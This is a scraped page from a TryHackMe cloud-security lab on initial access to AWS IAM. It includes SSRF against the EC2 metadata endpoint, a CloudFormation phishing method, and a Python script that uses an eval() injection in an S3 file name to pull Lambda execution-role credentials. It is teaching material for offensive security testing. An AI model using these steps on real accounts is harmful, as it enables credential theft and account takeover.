Skip to main contentSkip to main content
Room Banner
Back to all walkthroughs
Room Icon

AWS IAM Initial Access

Gaining Initial Access to AWS IAM Principals.

medium

60 min

310

User profile photo.
User profile photo.

To access material, start machines and answer questions login.

In this room, you will learn about several different vectors for attackers to gain initial access to an environment. Now, it is important to establish at the outset what we mean by "initial access" in , and in other cloud providers. Commonly, "initial access" is associated with compromising a computer system. It is also commonly associated with compromising user credentials.

In the case of , it is this second association that we are going to examine. While there are some peculiarities to systems deployed in that attackers want to be aware of (No Requests? (opens in new tab)), the primary mechanism of access in is the credentials associated with the service. Compromising those credentials, or the systems that contain them, are THE method of accessing services and resources.

Learning Objectives

We are going to take a look at four common techniques for gaining initial access to . Two of those techniques we'll discuss theoretically, and two of those techniques we will perform hands-on. The scenarios we will cover include:

  • Scenario One: Leaked Credentials
  • Scenario Two: for Stacksets
  • Scenario Three: to IMDS Instance Profile Credentials
  • Scenario Four: Vulnerable Automation

The learner should have a good grasp of before starting this room. If you need a refresher, please check out the Module before proceeding.

Answer the questions below
What is the primary mechanism of access in AWS?

Select the Cloud details button at the top of the room:

Where needed generate the environment required for the room. The "Generate Environment" button will appear if the room contains an environment that needs to be generated. 

For any issues with the environment, select the "Reset Environment" button. Review this article for more information.

To view the credentials required for the environment, select the credentials tab. You can use these credentials to access the environment in various ways. More information can be found here:

Answer the questions below
Generate environment or set up your credentials

We can't talk for long about customer security incidents (opens in new tab) without discussing leaked credentials. These credentials are leaked in a variety of sources...but one common theme you will hear over and over again is " repositories".

For over a decade, developers have been pushing credentials, and specifically - long-lived user credentials, to GitHub and other public hosts of repositories. As development credentials are often highly-privileged in order to create, update, and delete resources; these credentials can prove to be a gold mine for attackers who are fortunate enough to find them. So why do developers keep doing it?

Well, developers often use hard-coded credentials in scripts. Or maybe the developer had credentials in a configuration file and forgot to add the configuration file to their ".gitignore" configuration? Which, if you aren't familiar with .gitignore, is a file that defines the files that should not be uploaded to a repository. These are a couple of common scenarios where developers may leave credentials exposed publicly. Even worse, developers may copy a work-related repository to a personal GitHub account so they can work on it outside of the provided corporate laptop or . In such cases, the developer often accidentally brings over the credentials when cloning the files from the (private) repository.

Now, this problem is so pervasive and significant that proactively scans public GitHub repositories and quarantines leaked access keys (opens in new tab). This mitigation has reduced the previous waterfall of credentials to a trickle. However, there are still cases where the configuration of files and repositories may allow public leaked credentials to go unidentified. Furthermore, if you ever gain access to private GitHub repositories, they aren't subject to scanning and are free game for finding such credentials. Open source tools such as Trufflehog (opens in new tab) and SecretScanner (opens in new tab) help attackers identify these credentials when scavenging files from various sources.

In addition, programming language package repositories (opens in new tab) have been identified as a common source of leaked credentials. Given the sensitivity of open-source software packages and supply chain security, it is safe to say those credentials might be important. There are certainly other sources beyond GitHub and PyPi where you will find leaked credentials.  Credentials may be lurking in many places, as we will see in a later scenario. We won't be performing a scenario where we find leaked credentials, but leaked credentials are something you want to remain cognizant of as you perform security testing.

Answer the questions below
What file should prevent files from being included when they are uploaded to a remote git repository?

In this task, we will discuss a scenario that demonstrates how an account can be compromised via Infrastructure as Code (IaC). CloudFormation has a Launch Stack URL feature, which allows a user to deploy infrastructure with a few clicks. The launch stack URL uses the following context:

https://console..amazon.com/cloudformation/home?region=region#/stacks/new?stackName=stack_name&templateURL=template_location (opens in new tab)

and will appear to the user as the corresponding button on a webpage:


Note that the following parameters can be set in the launch stack URL in order to redirect a user to deploy a specific CloudFormation template.

Launch Stack URL ParameterDescription
regionThe region where the CloudFormation stack will be created.
stack_nameThe name of the stack that is used as an identifier for deployment.
template_locationThe URL of the template file. This can be a URL hosted on Amazon .

So, for example, the launch stack URL called tryhackme in the us-east-1 region with a template hosted on Amazon can look like this:

https://console..amazon.com/cloudformation/home?region=us-east-1#/stacks/new?stackName=tryhackme&templateURL=https://.amazonaws.com/bucket-name/template-name.template

Per :

"Anyone who follows that URL is directed to the Create Stack wizard in the CloudFormation console, with the specified stack name and template location, as shown in the following screenshot. Users can still specify parameters or other stack options. If they are not already authenticated, users are directed to the Management Console sign-in page and then redirected to the CloudFormation Create Stack wizard."

In order for a potentially malicious actor to put the launch stack to good use, a email can be carefully crafted in order to prompt a user to click on the link and deploy resources to their account. Unfortunately, there are a few caveats that make it somewhat tricky to successfully execute this attack:

  1. for Stacksets will only work against someone with the appropriate permissions in (e.g., you will need to trick someone with administrative permissions).
  2. Convincing an administrator to run a Stackset relies heavily on them not understanding what a Stackset is and being willing to run it anyway (trusted sender), or it will need to appear sufficiently legitimate to pass the scrutiny of the administrator.
  3. Stacksets that deploy resources (e.g., resources of primary value for privilege escalation) require the administrator to assert special privileges known as CAPABILITY_IAM and/or CAPABILITY_NAMED_IAM. These privileges are common in CloudFormation, but may raise red flags to the targeted victim.
Answer the questions below
What CloudFormation resource can be used for phishing AWS administrators?

One of the most plausible, and even common security issues that lead to attackers gaining access to accounts is the abuse of the IMDS. IMDS stands for Instance Metadata Service, and is a service running on the instance that can be queried for standard configuration information on the instance. For example, you can retrieve a directory list of information in an instance with the IMDS configured by running the following command from inside the instance:

Curl IMDS
           root@ip-10-10-89-159:~# curl http://169.254.169.254/latest/meta-data/ 

        

Running this command inside an EC2 instance with IMDS configured should return a directory listing with the various configuration data that may be of interest. That seems relatively harmless, right? Ok, well, let's also talk about Server Side Request Forgery (SSRF). Until the cloud, SSRF was considered a low-impact vulnerability under almost all circumstances. Maybe it would occasionally be a medium/moderate impact vulnerability. Well, the cloud and the IMDS changed all of that. AWS isn't the only cloud provider to have an IMDS. Almost all cloud providers offer some sort of IMDS to their customers, on both Virtual Machines (AWS = EC2) and containers (AWS = ECS). Now back to those SSRFs...

An SSRF is a type of web application vulnerability where an attacker can manipulate the functionality of a server-side application to perform unauthorized actions on behalf of the application or the server itself.

For instance, an attacker can supply or modify a URL or IP address and make a request that seems like it is from the server, rather than the attacker. While this can be handy if you need to proxy your traffic, the implications seem pretty minor, right? Well, in 2019, a breach at Capital One (opens in new tab) changed the way we look at the IMDS and SSRFs. It turns out that if you can make a web request to an EC2 instance with an IMDS configured and have it return the resulting response, you can get some pretty interesting information from it. You will want to log in to the Attack Box or your associated AWS CloudShell to continue. Let's take a look.

First, you will need to find the public web server that Adam from Best Cloud Company left out there. He was experimenting with a Python Flask (opens in new tab) web server and forgot to delete the project. He's not much of a programmer, but it's always important to let people learn. Of course, he shouldn't have left it out on the internet - but at the Best Cloud Company, we expect nothing less. You can find the public IP address by running the following command in your AWS CLI:

AWS STS Get Access Key Info
           root@ip-10-10-89-159:~# aws cloudformation describe-stacks --query "Stacks[?contains(StackName,'iam-initial-access')].Outputs"
        

This command will allow you to retrieve the public IP address of Adam's Flask experiment. Once you have the public IP address for the Flask server - you should be able to travel to the Flask server homepage...where you will see something similar to this:


Now - you get to perform an to steal credentials from the instance hosting this flask server. This is possible because instances commonly have what is known as an "Instance Profile". The "Instance Profile" is a constantly refreshing role that runs on the instance. When a machine has been configured with an Instance Profile, you can retrieve the profile credentials from the meta-data endpoint. 

Since this concept is somewhat advanced and we are attempting to make a sufficiently simple demonstration, we have created a web server that is intentionally and (obviously) vulnerable to . In fact, it takes a URL as form input from the user and returns the web page information. This is simplified for demonstration purposes, and if you want to learn more about practical attacks, take the TryHackMe room on

To perform the attack, you can enter the following URL in the input form on the Flask server homepage:


This URL is the metadata endpoint for retrieving the Instance Profile credentials. Once you submit the form, the server will make a request to this URL on your behalf, and you should see the name of the Instance Profile role as the response.

Next, you will need to retrieve the actual credentials associated with that role. To do this, append the role name to the previous URL and submit it in the input form. The final URL should look like this:


Replace ROLE_NAME with the actual role name you retrieved in the previous step. When you submit this form, the server will make a request to this URL and return the Instance Profile credentials as a JSON object containing the AccessKeyId, SecretAccessKey, and SessionToken.

Now that you have the credentials, you can use them with the to perform actions on behalf of the instance. To do this, you need to configure the with these temporary credentials. Run the following commands, replacing the placeholders with the actual values from the JSON object:

Set Profile Using Creds
           root@ip-10-10-89-159:~# aws configure set aws_access_key_id ACCESS_KEY_ID --profile tryhackme
root@ip-10-10-89-159:~# aws configure set aws_secret_access_key SECRET_ACCESS_KEY --profile tryhackme
root@ip-10-10-89-159:~# aws configure set aws_session_token SESSION_TOKEN --profile tryhackme

        

With these credentials configured, you can now use the CLI to perform actions allowed by the Instance Profile role. For example, you can always run:

Retrieve Profile Information
           root@ip-10-10-89-159:~# aws sts get-caller-identity --profile tryhackme

        

- as long as you have a valid set of credentials.

Remember that this is a demonstration, and real-world attacks might not be as straightforward. However, the core concept remains the same: exploiting server-side functionality to access sensitive information or perform unauthorized actions. By understanding how these attacks work and the potential risks involved, you can better protect your infrastructure and applications from similar threats.
Answer the questions below
What is the IP address of the AWS EC2 Metadata Endpoint?

What is an IAM Role called that is automatically loaded on an EC2 instance?

What are the first four words in the name of the assumed-role when you retrieve the permissions for the IAM role?

The Best Cloud Company folks are at it again - they can't seem to build secure resources, no matter what! Today, we have found a way to compromise an function hosted behind one of their buckets. It turns out, if you can upload a file to their bucket with a malicious file name, such as, say, "{do_something_malicious_in_python}", then it might just execute whatever Python commands you upload and return the results in the response. This is because they used a Python method known as eval() to execute insecure user input (in the form of the file name.

Let's take a look at how we might exploit this security issue. First, you'll need to identify the s3 bucket associated with your Best Cloud Company account. The bucket will take the form {Account_ID}-2. Now once you have found the bucket, verify that it is empty:

AWS STS Get Access Key Info
           root@ip-10-10-89-159:~# aws s3 ls
2023-03-01 16:32:48 499164911814-2
2023-02-27 16:58:47 quiet-riot-499164911814  

>root@ip-10-10-89-159:~# aws s3 ls 499164911814-2

>root@ip-10-10-89-159:~#

        

Your first command lists the buckets in the account, and your second command lists the objects in the bucket root. If there are no objects, it returns an empty line. As you can see, there are no objects in this bucket. Let's make an object and see what happens when we upload the object. Make a file named test.txt and add a line of text to the file - "this is a test". Now try to upload your file to the bucket:

Put test.txt in {Account_ID}-2 Bucket
           root@ip-10-10-89-159:~# aws s3 cp test.txt s3://{Account_ID}-2                                                                          
upload: ./test.txt to s3://{Account_ID}-2/test.txt 

        

Now, when you request the bucket, you should see your file. But what is that? There looks to be another file in your bucket. Is it possible that the bucket upload triggered something to happen in the background, and there's another file because of it? Yes - it turns out, that supports standard integrations between services such as and the Lambda service. uploads can be used to "trigger" code to run in an Lambda. In this case, code that uploads a new .log file with the same name.

LS after upload
           root@ip-10-10-89-159:~# aws s3 ls {Account_ID}-2
2023-03-01 16:32:48 test.txt
2023-02-27 16:58:47 test.txt.log
        

Could they really have built an automation that loads your file and then evaluates it, and returns a log file? Could they really have been so idiotic? Yep, that's right - it's the Best Cloud Company, only the best and brightest.

Today it is generally accepted that you don't run the Python eval() method on unsanitized user input. Why is that, you ask? Well, the eval() method takes a string (you know, like a FILE NAME) and "evaluates" it as a Python expression. Well, why does that matter for our S3 upload? These sorts of automation (opens in new tab) are commonly "slapped together" in a piecemeal fashion by DevOps and Site Reliability Engineer (SRE) teams at organizations around the world. They are just looking to reduce the engineering toil of repetitive tasks such as Continuous Integration/Continuous Delivery (CI/CD). However, individuals in these roles may have a limited development background and who may be unfamiliar with secure coding practices.

In this case, Best Cloud Company's Python Lambda function is vulnerable to Command Injection. How, may you ask? Well, the function is evaluating the file name from your upload before returning the newly created file as .log. That means that you can run code inside the Lambda function.

While AWS Lambda doesn't utilize an IMDS, there is a Lambda Request Context (opens in new tab), which is the information related to the Execution Environment where the serverless function runs in AWS. Similar to EC2 "Instance Profile", you can also provision a Lambda "Execution Role (opens in new tab)". This execution role gives the Lambda function permissions in AWS, against AWS services based on the permissions provisioned to the role. Sometimes these permissions may use least privilege and not be very useful to you as an attacker - but often, these are a jackpot of excessive permissions.

Now, how are we going to get the credentials (opens in new tab), you might ask? We can retrieve the credentials using a little Python script I've provided below:

Create upload.py executable file
           root@ip-10-10-89-159:~# vim upload.py
#!/usr/bin/env python3
import boto3
import time

# Request user profile
profile = input(f'Please enter your current AWS Profile: ')
if profile != None:
    session = boto3.session.Session(profile_name=profile)
    s3 = boto3.client('s3')
else:
    session = boto3.session.Session(profile_name="default")
    s3 = boto3.client('s3')

# Use 
bucket_name = session.client('sts').get_caller_identity().get('Account')
real_bucket_name = bucket_name + "-2"
filename = 'dict(os.environ)'

# Create object that represents s3resource access.
s3resource = session.resource('s3')
my_bucket = s3resource.Bucket(real_bucket_name)

# Upload empty files with malicious filenames to s3 bucket
response = s3.put_object(Bucket=real_bucket_name, Key=filename, Body='This is a test file.')
time.sleep(5)

# Retrieve the files in your s3 bucket (note: the files ending in .log are the returned files from the automation)
# Retrieve the files in your s3 bucket
for obj in my_bucket.objects.all():
    s3.get_object(Bucket=real_bucket_name, Key=obj.key)
    s3_url = f"s3://{obj.bucket_name}/{obj.key}"
    print('\n', s3_url, '\n')
        

If you take a look at this file before uploading and running it - what is happening? You can see the script asking the user running the script if they have a specific profile they want to use. If not, it uses the default profile. It starts a Boto3 session and client for and resources, where Boto3 is the Software Development Kit (SDK) for Python. These clients allow the script to query the service and specific resources, and declare the bucket we are targeting in our attack. Then, here is where the magic happens:

We upload (put_object in Python script) an object to the bucket. The file is named 'dict(.environ)' - which just so happens to be how you return the environment variables in a given environment that is running Python, using the Python module. In this case, the function has already imported the module, so it isn't necessary - but even if it weren't already imported - 'import ;dict(.environ)' should get the job done as is part of the Python standard library. Now, you can run the script:

Cloudshell Run upload.py
           root@ip-10-10-89-159:~# python3 upload.py

        
or
AttackBox Run upload.py
           root@ip-10-10-89-159:~# python3.9 upload.py

        
Once you have ran the script - you should see your file name and a time stamped file name printed to the console - you now want to download that timestamped_url log file.

Retrieve Environment Variables From Lambda
           root@ip-10-10-89-159:~# aws s3 cp s3://{timestamped_url} .

        

And there you have it - your very own execution role credentials. Can you figure out how? Once again - Best Cloud Company isn't sanitizing user input properly and is allowing you to make arbitrary requests against the function. While this simple example will hopefully be uncommon in the real-world, the complexity of serverless applications means there are a large number of mechanism for gaining initial access. In fact, here is an example of a moderately complex serverless applications using :


At this point - many attackers would want to put some sort of implant or get some sort of shell on the function - but a function only lasts 15 minutes. Whereas the role credentials you retrieve may last much longer, and depending on configuration - may be able to be refreshed. Furthermore, these credentials really form the core of what you are after in an environment - where "domain administrator" or "DA" is equated to "AdministratorAccess" privileges in a particular account - or better yet, "AdministratorAccess" across accounts. Stay tuned for the PrivEsc room, where we'll learn about that topic.

Answer the questions below
Once you have assumed the role with the stolen credentials, what two-word string from the role name fits in the answer?